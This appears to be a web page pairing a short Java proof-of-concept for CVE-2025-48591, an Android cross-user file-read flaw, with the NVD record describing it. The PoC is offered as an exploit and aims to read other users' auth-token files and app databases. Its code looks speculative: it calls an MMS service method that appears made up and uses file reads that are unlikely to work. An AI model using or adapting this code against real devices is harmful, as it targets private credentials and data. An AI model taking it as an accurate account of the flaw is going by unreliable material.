CVE-2025-48591

// CVE-2025-48591 PoC - Android Local File Read via Missing Permission Check // This PoC demonstrates accessing files from another user context // Method 1: Via ContentProvider without proper permission check Intent intent = new Intent(); intent.setComponent(new ComponentName( "com.android.mms", "com.android.mms.ui.MmsFileActivity" )); intent.setDataAndType(Uri.parse("content://media/external/file/999"), "*/*"); startActivity(intent); // Method 2: Direct file system access via exposed component String targetFile = "/data/user/999/com.example.app/shared_prefs/auth_tokens.xml"; ContentResolver resolver = getContentResolver(); InputStream is = resolver.openInputStream(Uri.fromFile(new File(targetFile))); // Method 3: Exploit via unprotected IPC interface IBinder binder = ServiceManager.getService("mms"); IMmsService mmsService = IMmsService.Stub.asInterface(binder); // Access files without proper user ID verification mmsService.readFileFromUserStorage("/data/data/com.other.app/databases/app.db", 999); // Note: This PoC is for educational and security research purposes only

{"cve": {"id": "CVE-2025-48591", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:16.287", "lastModified": "2025-12-09T21:38:50.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple locations, there is a possible way to read files from another user due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/3df02a7df8488e04e31ae1d9d081ed1b881dd6ad", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://android.googlesource.com/platform/packages/services/Mms/+/43ca1053f0a09b6fd1503caaecb62967a497b554", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}